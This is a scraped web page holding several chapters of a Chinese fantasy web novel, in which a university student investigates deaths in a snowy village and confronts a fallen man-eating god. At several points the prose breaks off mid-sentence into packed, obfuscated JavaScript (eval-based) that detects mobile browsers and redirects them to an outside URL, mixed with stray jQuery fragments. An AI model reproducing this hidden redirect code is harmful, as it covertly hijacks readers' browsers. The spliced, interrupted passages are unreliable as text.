“‘神’的话，它或许在力量与智慧上胜过我，甚至有些我没有的超自然力，但也并非无所不能，毕竟现实并非数值游戏，数值低的一方就需要受数值高的生命的摆布。”王何驻隐瞒了自己与这里的怪异打过几次照面的事。 “若‘神’就是无所不能呢？” “祂能倒背圆周率吗？” “……排骨熟了，吃吧。”赵尔雅被这没来由的回复噎了一下，往铁锅里夹了一块排骨，放进王何驻的碗里。 “谢谢。”王何驻咬了一口排骨，那排骨炖得软烂，酱汁融入其中，十分鲜美。这种肉香在城市的餐馆里是很难寻得的。 “你的无畏或许来自幸运，毕竟你没有成为这些骇怖故事的受难者。”赵尔雅说道。 锅底上升的氤氲的热气模糊了视线，王何驻看不清赵尔雅的神情，但她听出了她语气的怪异。 “我不觉得我和其他人有什么不同。既然其他人遇难，那我也可能成为其中之一，我没有把自己算作例外。”王何驻认真地回她。 “这样啊……”赵尔雅轻笑，又故作轻松地说道，“如果可以的话，我真不希望遇到意外的是你。” “谁都可以，为什么不能是我呢，生命是平等的。”王何驻低头咬了一口从锅上取下的锅贴，无所谓道。 “谁都可以。”赵尔雅轻声重复了一遍，不再说话。 在回刘大娘家的路上，赵尔雅格外很沉默，快走到院落时，她突然对王何驻说了借锤子的事。 “我知道有一处地方，可以取到锤子。那地方离这里不远，明天你若有空，可以来找我，我带你去。” “明天上午恐怕不行了，我好像感冒了。”王何驻摸了摸自己的额头，温度不似寻常。她这几天没怎么休息好，很容易生病。 “感冒了？你送我的药，我没用多少，一会儿到我屋里，我还给你。” 赵尔雅带着王何驻回到自己房间，王何驻之前给她的感冒药放在桌上，她将那两盒药都交给了王何驻。王何驻收下后，回了自己的住处。 将外套脱下后，王何驻摸了一下床垫，发现屋中的炕床又暖上了，心知刘大娘已经回家，便安心睡去。 12. 归乡篇·十二 由于窗子给风留了道缝，王何驻没能休息好，直到下午，她啃完放在包里的大列巴，才拖着疲惫的身体，出了门。 昨日赵尔雅的叙述让她对刘家人起了疑心，虽然刘强壮的死大概率和这里的神或者兽没有直接关系，但是在正面硬刚那家伙之前，她需要做好充足的准备，至少在信息上，需要排除一些干扰因素。 刘强壮家的客栈歇了业，因为死了人，原本住在这里的客人换了其他住处。王何驻作为不速之客，踌躇了一下，还是入了院落。 客厅里，刘强壮的妻子和几个人在交流，大概在聊安葬与遗产的事。刘强壮的妻子哭着诉说自己命苦，一位中年女性在一旁搂着她，安抚她的情绪。 见到王何驻，刘强壮的妻子只告诉她，今日没法营业。 王何驻摇了摇头，声称自己朋友先前住在这，落了东西，拜托她回来找一下。 “丢了啥？” “手机。” “没瞅着手机。” “那我自个儿找找。我们买了去雪落村的车票，乘车要核销的二维码在手机里头，没有它，我们没法离开。” 刘强壮的妻子也没多做阻拦，只让王何驻自己去客房里找。得亏是个体户经营的民宿，没有严格的管理规范，又正好清了客人，才让王何驻获得了搜索房间的机会。 王何驻开了一扇入户门，门内又有许多房间，应是为了招徕更多游客，特意改造过的。她直接大步走入最里头的一间房，预备从尾摸索起，倘若有人进了这屋，也需要往里走几步，绕过拐角处的屋子，才能撞上她。她自知自己形迹可疑，生怕被人驱赶，干扰了计划。 这间屋子位置偏僻，内部狭窄，没有卫浴，只放着炕和矮桌。桌子斑驳老旧，隐约能见到蓝色圆珠笔在桌面写的“好”字，年头已久，字迹生硬，像是初学。墙壁上粘了挂钩，窗帘有些许污渍，地板是水泥地，没有地砖，只铺了一层地板贴，地板贴有些破旧。王何驻双眼仔细逡巡着这间小小的屋子，她猜测它平日里应该只作特价房出售。 她翻了床垫与桌子的抽屉，又趴在地上，往灶洞里张望，也没觉察出异样。正当她准备离去，搜其他房间时，窗口的花盆吸引了她的注意。 花盆里没有花，只能从土壤中依稀看到一点植物枯萎的根茎，王何驻拨开土，仔细查看了根茎的模样，暗暗心惊，又掰了一小块，藏入衣服口袋，留作证物。 王何驻出了这间小房间后，又搜索了几间客房，没有收获。见客厅没人留意她，又放轻脚步，绕去了后院最大的屋子，里面放着许多生活用品，应该便是主屋。 她本不打算乱翻里头的物件，只想随意看两眼就走，但炕边的床头柜上的东西让她很难不在意。 那床头柜上放着几盒药，纸制药盒旁是装着药片的泡罩，里面的药片已经取了几粒。由于刚刚在花盆发现了那东西，她有些推测，于是走上前，拾起药盒，阅读着上面的说明。这间屋的主人似乎患有肝病，只是单拆出来的泡罩铝纸上又是另外的药名。 王何驻拿着药，思考着其中的联系。 “我家里死了人，你们倒惦记着着我的家底儿。”刘强壮的妻子带着哭腔怒吼，歇斯底里，声音穿过墙壁。 “你到底也是个娘们儿，能整明白啥民宿啊。咱也是亲戚一场，不都来帮衬你了吗。你家爷们儿的后事还得靠你三叔二伯来张罗不是？” “你家里没个顶梁柱，以后日子也不好过。开民宿这活多累人啊。” 听到屋外有动静，王何驻放下药盒，状若平常地离了屋。 “手机找着了吗？”见王何驻离去，刘强壮妻子身边的中年妇女问她。 “找到了。”王何驻从兜里掏出自己的手机，示意自己已经找到。 “隔壁那家民宿主人你们认识吗？”王何驻突然问道。 “你提那晦气娘们儿做啥？”有个男人发了话。 “只是刷到许多客人发的帖子，说那家民宿不错，老板手脚麻利，单靠一个人就把所有事都安排得极妥当，我和朋友的车还要过些时候才开，这几天打算住那儿去。” 王何驻观察着刘强壮妻子的神色，她是刘大娘的侄媳妇，刘大娘的经历她最清楚不过，刘强壮更是将痛苦埋入刘大娘心中的人，如今她只是落到了与刘大娘类似的境遇。提起刘大娘的现状，同样死了丈夫的女人，在面对亲戚以性别为由剥夺财产的困境时，会想明白她该坚持些什么。王何驻作为客人，并不适合对他人的家事说三道四，只这样委婉表达。 见刘强壮妻子眼神恢复了些许清明，似乎做了某种选择，王何驻倒了别，便离开了。 刘大娘家里，陈璐仁与她的男友正坐在客厅。看到王何驻回来，陈璐仁忙走上前，拉着王何驻的胳膊，脸色苍白道：“萨满死了。” 王何驻带着陈璐仁和她男友进了自己的房间，请他们细说。 雪草村的萨满原本并不是萨满，在雪草村过去的祭祀仪式上，也没有萨满。如今的萨满，曾经是歌舞团的演员，因为生了场大病，刚刚步入正轨的事业被迫中断，不得不从城里回了家。据说这场大病差点让他死去，却也让他获得了与神沟通的能力。当旅游投资者的资金入飞雪般落在雪草村的土地、房屋与村民身上，这里有了“雪神祭”，也有了“萨满”。 人们不太喜欢这个萨满，因为他总是神神叨叨的，又爱占小便宜，直到第一次“雪神祭”上，萨满的歌舞感染了这座村子的人。 他在唱歌的时候，声音是如此威严，好像风刮过森林，震颤的叶子捎来神的消息；他跳舞的时候，舞步是如此轻盈，好像白鹿在山间跳跃，那是神的化身。他瘦削的身体撑起了花里胡哨的神衣，留下斑斓的色彩。他向人们诉说着神的旨意，人们听了，忍不住相信。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438725|169330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >家里若是有人生病，或者失了什么东西，甚至死了人，人们便去请他驱邪祈福。他总是索要很高的报酬，但其实如果人们愿意砍价，是能以极低的成本请到他的。起初人们得知这点，还会压价，后来渐渐也不压了，有些人家还会多给他一些钱。 今天晚上，陈璐仁和男友鼓起勇气，准备再一次去看看“雪神祭”的时候，却听闻噩耗自贮木场传来：萨满死了。 主持“雪神祭”的“萨满”死了，“雪神祭”便办不下去了。 惊恐笼罩了这片村庄。尽管他们也曾听闻许多人因为“神的考验”失踪未归，却没有像现在这样惶恐不安。毕竟，那可是萨满！ 若说“敬畏之心”，谁会去质疑身为神的使者的萨满对神的敬畏？他主持了许多遍“雪神祭”，向被神选中的倒霉蛋们宣布“神的考验”的到来，可如今，竟轮到他了。 据说他的尸体是请他主持“雪神祭”的工作人员发现的，他卧倒在地，呕吐物自他嘴角流下，污染了被他从床炕扯落至地上的“神衣”。他睁着眼睛，瞳孔扩大，姿势古怪，神情痛苦又安详。 贮木场的人们纷纷讨论着“萨满之死”，有人说，他只是得重病离世了，当然，支持这种观点的人很少，更多人相信，他被神降下了惩罚。 究竟为何遭到了神的惩罚？人们无从得知。 因为他倒卖“圣水”？也不至于，毕竟卖了很多年了。 难道是祭祀的步骤或者祭品出了错？可村里头爱看“雪神祭”的，都说没有看出这几次的差别。 有一种观点是比较为人们所认可的，那就是： 萨满私下干了什么不敬神明的坏事。 也有人反对，他们觉得萨满不是坏人。但他们不敢说出心里的猜测：是神不够宽容。 当然，有一小部分人怀疑，萨满是被人杀死的。只是这个村子里，谁那么大胆，敢对神的使者下手？ 人们因为萨满的死，陷入了无尽的恐惧与无边的猜测。人们害怕这是神的旨意，是不详的征兆。害怕那个传说中白衣白发的神，带着马蹄牛尾的红色人面怪物，出现在这个村落，然后张口，把他们全都吃掉。 “不管怎样，这一切都太可怕了！我们不准备再在这里停留了！现在这个点，已经赶不上最晚的巴士，我们明天早上就要离开这里，一大早就走。我们只是游客，没必要再呆在这。我们可以一起走。你救了我男友，我必须将这些告诉你。”陈璐仁急切地说道，他的男友紧紧握着她的手，安抚她的情绪。 王何驻向她道了谢，却不打算立刻离开，她声称自己有些旅游计划没有完成，并不愿意就此取消。 “你一定要好好的。”陈璐仁在院门口和王何驻告别时，抱紧了她，眼泪簌簌落下。 “我会好好的。”这个突如其来的拥抱让王何驻有些不知所措，她僵硬地回抱住陈璐仁，向她承诺。 13. 归乡篇·十三 “孩子啊，孩子啊，孩子， 你的父母在唤你， 你请不要往西走……” 雪草村本来是没有萨满的。 萨满，来自通古斯人，也就是如今的鄂伦春族，其意为“晓事之人”，是白山黑水间的巫。 和其他氏族的巫类似，萨满诞生于远古时期人类认识世界的过程中，据说，他们拥有与神灵沟通的能力，因此肩负着诸如请神赐福、驱邪消灾、医治病患的职责。 这里的人曾多次送走神明。最近的一次大概在七十年前，萨满将神衣、神鼓埋入深山，与神灵一起消失在村落。 后来，人们意识到，那些与自然沟通的记忆是不该被遗忘的，他们需要它，于是，年迈的萨满重新缝制神衣。 “雪草村的萨满”第一次见到由萨满主持的祭祀，是千禧年的时候，在隔壁村子。由鄂伦春族组成的艺术团来到这里，与村里的人共度新年。 他看到激昂鼓点中起舞的萨满。她上身着衫，下身穿裙，彩色的布条在旋转中开出了绚烂的花，腰间的铃铛叮当作响，唤起人类种群的记忆。她用陌生的语言唱着歌，但他听懂了。 那时候他才十六岁，还相信神明存在。 他透过人群间的缝隙，打量着篝火边的萨满。在萨满的舞步与歌声中，他看到了蓬勃的生命——一种从枯石缝中挣扎着绽放的力量。这种感觉令他痴迷。 神明长什么样子？祂们说了些什么？ 他不知道，但他实在想知道。 雪草村的人，有的成为了伐木工人，有的做起了生意。不管是留在村里，还是出走他乡，终究是要从事些切实的营生的。 当他向父母说出自己要学“请神的歌舞”的时候，长期从事体力劳动的父亲给了他一记耳光。他被这力道抽得跌倒在地，头撞在炕上。 他第一次犯了癫痫，面色青紫，口吐白沫，肌肉抽搐，吓坏了他的母亲。 不久后，他背着行囊，带着母亲塞给他的积蓄，离开了雪草村，去职业艺校学了民族舞。 经济上的窘迫与求学中的经历让这个执拗的年轻人逐渐看到了理想之下现实的面貌。在日复一日的训练中，终于发现，他学的不是他曾经所想的那种，通神的歌舞。 他的未来或许只是作为歌舞团的演员，用老师教授的唱法唱着被音符限定了调子的歌，与自己的同学用被矫正了许多遍的动作跳着整齐划一的舞。 他意识到自己无法成为萨满，但是他已经为了这个荒诞的想法，离开故乡。他不愿意让父母看到他一事无成、失魂落魄地归家。 也许做一个演员，也不错，当他拿到县里发的奖状与奖金的时候，他这样想。那个“成为萨满”的幻梦，被时间悄悄地带走了。 歌舞演员的路并不总是一帆风顺，这个憨厚的小伙在“吃亏”中变得圆滑。他的事业也因为这种改变蒸蒸日上。他进入了城里最大的歌舞团，预备随他们登上更大的舞台。 意外总是来得突然。那天，具体他记不清了，他喝了点酒，跳得有些兴奋，一脚踩空，摔下舞台。 那是他第二次犯癫痫，意识模糊，眼神涣散，全身痉挛，吓坏了观众。 不久后，他背着包袱，带着歌舞团给他的工钱，回到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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如果你找一人来作画，画的名字叫《一条路》，此人大概率要给路两边画上树的。王何驻曾经思考过这个问题，为什么人们总是把路放在树与树之间？据一些哲学书籍所述，这种“林中路”，象征着人对世界真理的探索，把人置于光影斑驳的诸多可能性之中，如此云云。 王何驻喜欢用通俗具体的语言和事实解释问题，所以没太能立刻感受到其中的玄妙意境，但是她还是能理解一些说法的，比如，“林中路”之所以成为人类的共同印象，是因为人类用斧子在密林中开辟道路时留下了基因记忆。 她曾试图和金乌讨论这个问题，却激怒了祂。 “你们总想着砍树，砍树，你们把树砍了，你们有路了，我们上哪呆着！” 金乌气得跺了两脚。这“两脚”不是记的次数，而是切实的两只脚。祂有三只脚，平时爱把其中一只脚收起来，藏进腹部的羽毛中，现在却把那脚也伸出来跺了。祂想到颛顼下令截断通天之路，做的第一件事就是砍了建木，忍不住生气。 “你可以选择木制的笼子，”王何驻提出了积极的解决方案，建议金乌苦中作乐，“好了，我要去上课，闲得没事干帮我抢下火车票，你手，嗯，脚快。” “……”金乌沉默了一下，张开双翅，大声宣布：“你实实在在得罪了我，我彻彻底底地恨上了你。 你以为你得到的是谁的恨？是一个天神的恨！ 作为惩罚，我要把你的面包全都吃掉！” “记得抢硬卧的，软卧太贵，硬座受不了。”王何驻无视掉了金乌的宣战，只交代祂买票。 王何驻上完课回到租房，发现床底下的一整箱面包都没了。金乌假装睡着，又偷偷睁开眼，观察着她的神色，却见她没什么反应。 金乌不知道，那箱面包已经过期了，王何驻忘了丢。 “怎么办呀！”护林员长吁短叹，打断了王何驻的思考。他和赵尔雅聊着天，王何驻跟在后面。他们一行走在树林间的小路上，约莫过去了十几分钟。 这位护林员已经说过很多次“怎么办呀”，“萨满死了，雪六不管；‘风二’若来，怎么办呀”，一路上谈的最多的就是这类话题。 赵尔雅安慰着护林员，耐心地陪他东拉西扯。王何驻没有插嘴，只打量着山路周围的白桦与冷杉，这里的树非常高，似乎都想触摸天穹。他们铭记着着托举生命的许诺，只是现在还是寒冬。 他们一路走着，遇到一个木栅栏，护林员从裤兜里摸出了一串钥匙，挑出其中一个，开了锁，然后把门推开，侧身让出路来。 “前面的路，可得小心着走，如果迷了方向，还得我来找。不要踩着树苗，也别惊了动物，”护林员说道，“我要回家吃饭，再见。” 王何驻跟着赵尔雅，告别了护林员，继续往山上走。这里的树更多，被风或者雪截断的树枝倒在雪地里 “我们要去哪？”王何驻问道，她的帽子边沿结了霜花。 “过去猎人为了捕猎，在这里搭了一间木屋，那屋子后来改造过很多次，供不便走夜路下山的人歇脚。当年重修神庙的那几个工人，也住过那屋。现在那里还留着工人施工的工具，包括锤子。”赵尔雅解释道，她从包里掏出一瓶矿泉水，递给王何驻。 “那些参与改造神庙却失踪的工人，后来没有任何线索吗？”王何驻接过矿泉水，发现瓶中的水结了冰。她还是拧开瓶盖，喝了一口，却咽下些碎冰沙。 “没有，一共四个人，都没了踪迹。刚刚那位护林员，也和工人们一起吃过酒，他说这些工人曾经抱怨夜晚总听到婴儿的啼哭。” “雪六之前的那位神，究竟是什么来头。” “不知道。祂不许人们唤祂的名字，谁若是坏了规矩，就会遭殃，所以就算有人知道了，也没法说，久而久之，就都不知道了。没有名字，又上哪了解祂的来历。” “那祂有什么事迹，让人们尊祂为神。” “这个……也不知道。也许只是这村里的人觉得他们需要一个神，于是就有了神。人总是会遇到一些自己暂时无法摆平的麻烦的，如果神无所不能，那祂也能解开这些难题，人们便拜祂。看到那座屋子了吗？我们到了。” 王何驻顺着赵尔雅手指向的方向看去，只见银白色的冷杉树下立着一间木屋，冷杉被风吹得摇摇晃晃，其上的积雪滚落到屋顶上，因为屋顶的坡度，又坠了下来，在屋周围聚起了小小的雪堆。屋门罩了厚厚的防风布，没有锁，护林员偶尔也会将巡林的工具暂时存放在里头。 屋内分两间，入口一间放着一张桌子，四排长凳，都落了灰，一盏煤油灯放在桌上，油灯已经很久没用了，屋内十分昏暗。左转进去起居室，有一扇窗，窗前放着一张桌子，曾经刷在上面刷的漆全掉了，露出树眼纹路。桌两边分别贴墙放着两张炕，王何驻可以想象住在这里的人坐在炕上聊天的场景。 两炕间的空间格外狭窄，却安了个小火炉，里面只剩一些炭灰，火炉上是薄薄的铁丝网格垫，可以用来烤热冻成石头的干粮。 王何驻翻开抽屉，见到了工具箱，箱里有卷尺、凿子种种，也放着一个羊角锤。 她拿起羊角锤，尝试挥了一下，那锤头却从腐朽的木手柄处脱落，划出弧线，砸在小灶上，灶上的铁丝网格垫被这一撞，击落在地，锤头咕噜滚入炭火之里。王何驻呆住了。 “这里有锤子。”赵尔雅的声音自入口处传来。 王何驻寻声出了里屋，才发现外间还有个储物室，赵尔雅站在门边，指着屋内角落放着的一把八角锤。这锤子看着相当有年头，应该比那羊角锤还老。 “这把锤子可有个传说，”赵尔雅说道， “当年有位石匠在这座山献上贡品，请求为神立像。神应允了，特地现了真身。石匠照着他的样子，运斧如风，挥锤若雨，凿石成像，那神像自他手下诞生，毫发毕现，栩栩如生。神却不满意，要求重造。石匠修了许多遍，都没法做出神认可的神像。在他看来，自己已经雕得十分贴近他看到的神的形象了，神却说，这些都不是祂的样子。 石匠找了师父，师父告诉他，既然神拒绝了按照现在的模样造的像，你就跟着心里所想的神应该有的模样，去塑祂的形。于是石匠照做了，那神看了，果真承认了这座神像。 ‘吾已抛弃过去，亦不肯接受当下。你塑的像，既不同于曾经的我，也有别于现在的我，便用它来代我吧。’ 石匠造了令神明满意的像，神问石匠希望从祂那得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438727|169330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到什么，石匠说，希望获得超越凡胎的能力，于是，神对他的锤子下了咒。 ‘这把锤子既为吾造像，塑吾形体，吾便赐它摧毁吾之躯壳的能力。’ 神说着，垂下几滴泪，那泪水落在锤子上。待泪迹消失，锤子掉落在地，石匠去取，却无论如何也拿不动它。 神大笑着离开了。 许多年过去，从没有人拿起过这把锤子。 据说，神在离去前，告诉石匠，唯有’无惧无畏、无欲无求’的人，才能举起这把锤子。” 赵尔雅说完，摸了一下锤子柄，尝试提了一下，锤子纹丝不动。 赵尔雅笑着说：“你来试试，若是拿不起来，我们再去贮木场买个。” 王何驻走上前，蹲了下去，单手握住锤柄，然后起身，提起了锤子，好像从地上捡起一个空的矿泉水瓶那样轻松。她看了下，手中的锤子，从衣服口袋中掏出纸巾，擦拭着锤头的锈。 赵尔雅在旁边看着，嘴角轻颤，手控制不住地发抖。她眼里神色复杂。 “放那么久，居然还能用。”王何驻挥了一下锤子，感叹道。 “你，能把它，给我吗？”赵尔雅问道，向王何驻伸出了手，神色晦暗不明。 王何驻把锤子递到她手上，提防着往后悄悄退了一步。 只听“咚”的一声，锤子又砸在地上，锤柄带着赵尔雅一个踉跄，栽倒在地。 “这锤子有那么重吗？”王何驻疑惑地瞧着赵尔雅，却发现泪水滑过她的脸颊。 “你被锤子砸到了？”王何驻问道。 “不，没事，只是感叹自己弱小无力，像个笑话。” “力气小也没什么大不了的，你也不靠力气吃饭。”王何驻觉得自己应该安慰她。 赵尔雅没理她，只是跪在地上，尝试了好几次，锤子却纹丝不动，她最后放弃了，无力地瘫坐在地上，抓着锤柄流泪， “为什么不能是我。”赵尔雅轻轻地念叨。 王何驻打量着赵尔雅，栗色的长发遮住了她的脸，她低头抽噎，刚刚那句话好像幻觉。 待赵尔雅平复了情绪，王何驻将锤子塞进包里，同她一块离开。 甫一出门，屋外刮起了灰蒙蒙的风。她抬头，却见天上盘旋着渡鸦，有几只叫着，落在白桦树枝上，收了翅膀。狍子与野猪聚在屋子附近，松树后猞猁的身影若隐若现，雪兔从球序韭中探出脑袋，狐狸与黄鼠狼躲在覆雪的石头后。一些动物应该还在山林中奔走，叫声与足音自风中传来。 王何驻有些不知所措，转头赵尔雅：“这是要地震了吗？ 赵尔雅摇了摇头，回她“不像，应该是为你手中的锤子而来。” 只是借锤子修个窗，竟惊动了山间百兽。 王何驻警惕着周围的动物，小心翼翼地往前试探着迈步，那些动物都为她让开路来。它们不碰她，也没有呈现出攻击姿态，却都盯着她，无视了周围还站着自己食物链上的天敌。 风很大，树在风中颤栗。王何驻走了几步，但见归路中，立着一兽，状如青牛，浑身赤色，马蹄人面。 “明日向晡，山中神庙，许你觐见。”那兽，或者说，神，向她说道。祂低着头，看着她手里的锤子。 15. 归乡篇·十五 这日饷午，落了雪，神庙周围显得格外冷。 “你身为神灵，为何抛弃了自己的名字？为何长着怪物模样？ 为何如初生的婴儿般啼哭？为何对世人的苦难袖手旁观？ 为何躲在那虚构的傀儡身后，纵容人们将’神祭’如儿戏般表演，又吃掉那些参与‘神祭’的无辜的人？”王何驻手握锤子，愤怒地瞪着“神”。 “吾见过凡间诸多演绎话本，里面总有这样的桥段——主角通过一连串基于道德或者责任的拷问，将反派逼入自我怀疑的境地，使祂的内心动摇，行为犹豫，陷入极端情绪化，然后轻而易举地将祂击败。所以，吾不会解答你的问题。”与深夜潜入刘大娘家袭击王何驻那次不同，“神”显得格外理智。 “你可知，人间已将沧海换，旧日白云成苍狗；机械垦地上亿亩，钢筋水泥筑高楼；铁路架桥通全国，天下之民遍地走。而你，空有伟力，偏居一隅，终日哭泣，吃人血肉，为祸一方。你难道不想为社会的建设与发展贡献属于自己的一份力吗！”王何驻慷慨陈词，语气激昂，试图对这位堕落的“神明”灌输正确思想，纠正他错误的价值观。 “吾亦知，虽有山海生灵图，旧日神兽已不复；连云广厦何人住，贷款又由谁背负；他乡战火烧焦土，天下众生皆吃苦。且问众生为何苦，不过追求一饱腹。吃人也因饥肠辘，苍生之苦入吾肚。”“神明”懒懒回她，韵脚押得更好。 “你心怀怨怼，固步不前，却道一心怜悯众生苦，世道不公将你负。”王何驻的谴责铿锵有力。 “怨怼确从世间来，世道如何怨不得。”“神明”冷冷嗤笑。 “好了，其实吾也没有和你玩文字游戏的欲望，你不必和吾浪费时间。虽然你拿起了锤子，却未必能杀死吾，那只是最基本的考验。你在我的面前，身体是何等的渺小脆弱，思维是何等的烂俗庸常。 看在那位大人的面上，吾不会吃掉你的全部，只吞你一腿，让你也知身体残缺之苦，此乃‘神罚’。”神灵说着，尾巴缠绕住王何驻，将她捆绑住，提至面前，王何驻的锤子因这一变故，脱了手，掉落在地。 “我是大学生，体质差，别搞，就算只是一条腿，处理不好失血或者破伤风，也会完蛋！导员问起很难交代。”王何驻语气中带着惊慌失措。 “你与人同行的数载光阴，他们敬你爱你，难道没有为你的内心留下丝毫温度？叫你悬崖勒马、浪子回头。”王何驻被捆着悬在半空，却不死心。 “煽情这套对吾没用，千载悲苦泪不干、笑不完，如何记得那三两处明媚，又因此改了脾性。”神明并没有被王何驻的说辞打动。 “糟糕，我们好像要完蛋了，你努力想想办法吧！”站在角落的赵尔雅笑道，虽然说着紧张的话，却好像没有一点害怕的情绪，语气中尽是轻佻。 “别吵，我在努力思考。啊，要不你先死在我面前，让我失去挚友，痛彻心扉，痛不欲生，忍不住回忆起我俩之间的深刻羁绊，激发了隐藏在体内的潜在力量，怒吼着暴走，挣脱这束缚，击败神明，为你报仇！” “我们才认识不到一周，还没有那么深厚的情谊吧。”赵尔雅回道，又笑着对“神明”说，“吃了她可不能吃我了哦。” “啊，是生命考验关头来自亲友的背叛，痛，实在太痛了！”王何驻试图捶胸顿足，表达惋惜，却被“神”的尾巴紧紧地捆住，四肢无法动弹。 “好了，人类之间相互背叛的情节到此为止。我要对你的命运进行裁决。现在，你命由我不由天。”“神明”打断他俩的对话，张嘴向着王何驻靠近。 “你怎么还把眼睛闭上了？真的一点想法都没有了吗？拜托，你可是拿起了弑神的锤子，高低也算个主角。”赵尔雅幽幽说着风凉话。 “其实我正在努力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当诡谲阴谋在人神相争格局的执棋者间酝酿，矛盾如地光般在天地夹缝之间明灭，祂只是这变故中不知所以然的牺牲品，是斧钺劈出的伤口中最早滴落的血。 他们压在舌下的大逆不道之辞，成了尚未察觉危机所在的祂被杀死时的呜咽，和复活后的悲泣。 祂合上眼，笑自己死得愚蠢，再睁眼，又哭自己生得可悲。即使是神，也沦为了他者谋算间的牺牲品。 为何同为神的【】与【】杀死了祂？为何身为人的【】却将祂复活？ 祂想不明白，也无法去想，被谋杀的愤怒、变成怪物的痛苦，最后都被那饥饿感吞噬。祂只想去吃人。 或许是曾经身为神的骄傲所在，祂舍弃了祂的名字，从此，天地之间只有一只如初生婴儿般啼哭的兽。 “你这家伙实在狡猾，居然在雪中设了陷阱，害我跌倒。”王何驻拍了拍身上的雪，指责道。 “……非吾所为也。”“神明”不准备背这锅，祂总觉得自己好像被碰瓷了，这分明是她自己摔的。而且说起暗设机关绊倒敌人这种卑劣手段，这人不久前才在祂身上使过，受害者是祂。 “好吧，那些修庙的工人、参加‘神祭’的村民与游客，总与你有关吧。你可将他们全吃了？” “你恳请神明回答你的问题，却没有献上祭品，属实冒犯。看在你适才行五体投地大礼的份上，吾怀宽厚之心，为你解惑。多数连血肉带骨头，入吾腹中；少数留了骨头，好叫亲眷收殓；有几人回了家，向乡人传颂吾的慈悲。” “你吃人，留几个不吃，便成了救人之神了，”王何驻冷笑，“你倒是懂得布施恩惠。” “吃人‘风二’是吾，救人‘雪六’是吾。对‘雪六’的敬仰，离不开对‘风二’的恐惧；若是只有恐惧，信仰也无法长久，吾亦知取卵不可杀鸡，捕鱼不可竭泽的道理。”“神明”语气平淡。祂缓缓踱步到王何驻身前，适才被祂遮挡的神像露了出来，王何驻才看清，那石像既不像神，也不像兽，像个人。 “你邀我前来，可是做好了认罪伏法的筹备？”王何驻两指捏住扶桑叶化玉，正声道。 “你来赴我约，可是做好了将自身血肉供奉给我的打算？”“神”反问道，祂一步步靠近王何驻。狂风肆虐，大雪纷飞，周围的树干几乎要被折断。 “嘶——”“神”停下了步子，适才一脚踩中了锐物，竟留下几滴血珠，抬起蹄子一看，却见雪中倒着埋了个香灰炉，割伤祂的，便是那三个尖锐炉足。 王何驻方才趁被树枝绊倒之时，将揣在衣服里的香炉取了了出来，悄悄埋在雪中。寻常凡器很难伤祂，这香炉却与祂同源，可以伤祂一二，只是香炉实在太小，起不了更大作用。 阴险！这实在太阴险了！ 趁“神”不备，王何驻又举锤砸向祂的关节处。“神”被砸伤，一腿失力，跌倒在地，却只是淌血，没一会儿，又摇摇晃晃站了起来，然后张口猛地咬上了王何驻的手臂。王何驻穿的衣服足够厚，内搭质量也不算好，她迅速滑下拉链，扯住内搭毛衣，脱了身。手臂上的皮肉被咬破了，幸好没有断骨。她忍住手臂的疼痛，紧紧握着锤子不放。 神吐了口中的衣物碎屑，冷冷盯着她。 看来锤子并不能直接毁灭祂的躯壳。王何驻思忖片刻，突然想到赵尔雅说过的故事里，石匠中讨论形体的部分。 【吾已抛弃过去，亦不肯接受当下。你塑的像，既不同于曾经的我，也有别于现在的我，便用它来代我吧。】 代祂形体的是那尊神像！ 她忙跑向神庙，却被“神”一尾巴甩了出去，砸在厚厚的雪地上。没伤得太重，不至于一命呜呼，但也疼得厉害，尾椎应该是骨裂了。 “你这般……冒犯。属实不知天高地厚。”神明怒不可遏。 “你也在强逞威风。你不愿意承认自己的神名和形象，便将人们对自己的信仰嫁接到‘雪六‘之上，以这种方式骗取信仰，积累力量。 现在主持‘雪神祭’萨满死了，人们很快就会因为主持者的死亡冷静下来，‘雪六’信仰也会因此动摇，你借用假神名、假形象得到的力量也在衰退。”王何驻半跪着，单手撑地，站了起来。 “我当年自金乌腹中流落此地，便用神力下了咒，此世众生皆无法呼唤我的名字。你确实是个聪明人，只是，你若不知我的真名，便无法定下我的神格。杀你仍旧轻而易举。”神歪头看她。 “我知道你的名字。 传说固然多为虚构，其中亦有真实之处。在村民的故事中，雪六为凡兽’风二‘取来了不死药，‘风二’却成了吃人的怪物。 你，生而为神，人面蛇身，惨遭同为神明的贰负杀害，死后又被六巫复活，复活后面目全非，堕落为兽。 你是无辜的被戮者，也是吃人的凶兽。 你的真名就是——切瓜！” “是‘窫窳’！你个文盲！”神明咆哮道，那个名字在祂獠牙间颤栗徘徊了数千年，现在脱口而出，倒像是早就想这样做了。对的，祂想大呼那个被遗忘的名字，让山间的树木与百兽都知道。 